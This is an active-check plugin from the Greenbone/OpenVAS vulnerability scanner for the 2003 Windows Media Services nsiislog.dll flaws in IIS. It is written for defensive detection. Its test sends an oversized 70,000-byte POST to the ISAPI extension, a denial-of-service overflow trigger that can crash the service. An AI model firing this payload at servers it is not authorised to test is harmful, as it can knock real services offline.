Microsoft Windows Media Services ISAPI Extension Code Execution Vulnerabilities - Active Check

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:microsoft:internet_information_services";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802897");
  script_version("2026-04-28T06:28:06+0000");
  script_cve_id("CVE-2003-0227", "CVE-2003-0349");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2026-04-28 06:28:06 +0000 (Tue, 28 Apr 2026)");
  script_tag(name:"creation_date", value:"2012-07-25 16:04:16 +0530 (Wed, 25 Jul 2012)");
  script_name("Microsoft Windows Media Services ISAPI Extension Code Execution Vulnerabilities - Active Check");
  script_xref(name:"URL", value:"http://secunia.com/advisories/9115");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/7727");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/8035");
  script_xref(name:"URL", value:"http://secunia.com/advisories/8883");
  script_xref(name:"URL", value:"http://securitytracker.com/id?1007059");
  script_xref(name:"URL", value:"http://www.kb.cert.org/vuls/id/113716");
  script_xref(name:"URL", value:"https://docs.microsoft.com/en-us/security-updates/securitybulletins/2003/ms03-019");
  script_xref(name:"URL", value:"https://docs.microsoft.com/en-us/security-updates/securitybulletins/2003/ms03-022");
  script_xref(name:"URL", value:"http://support.microsoft.com/default.aspx?scid=kb;en-us;822343");
  script_category(ACT_DENIAL);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web Servers");
  script_dependencies("gb_microsoft_iis_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("IIS/installed");

  script_tag(name:"impact", value:"Successful exploitation could allow remote attackers to obtain sensitive
  information, execute arbitrary code or cause denial of service conditions.");

  script_tag(name:"affected", value:"- Microsoft Windows Media Services 4.0 and 4.1

  - Microsoft Windows NT 4.0

  - Microsoft Windows 2000");

  script_tag(name:"insight", value:"Windows Media Services logging capability for multicast transmissions is
  implemented as ISAPI extension (nsiislog.dll), which fails to processes
  incoming client or malicious HTTP requests.");

  script_tag(name:"solution", value:"The vendor has released updates. Please see the references for more information.");

  script_tag(name:"summary", value:"Microsoft Windows Media Services are prone to multiple remote
  code execution (RCE) vulnerabilities.");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!get_app_location(port:port, cpe:CPE, nofork:TRUE))
  exit(0);

url = "/scripts/nsiislog.dll";
req = http_get(item: url, port: port);
res = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

if(!res || ">NetShow ISAPI Log Dll" >!< res)
  exit(0);

postData = crap(data:"A", length:70000);

host = http_host_name(port:port);

req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "Content-Length: ", strlen(postData),
             "\r\n\r\n", postData);
res = http_send_recv(port:port, data:req);

if(res && res =~ "^HTTP/1\.[01] 500" &&
   "The remote procedure call failed" >< res && "<title>Error" >< res) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);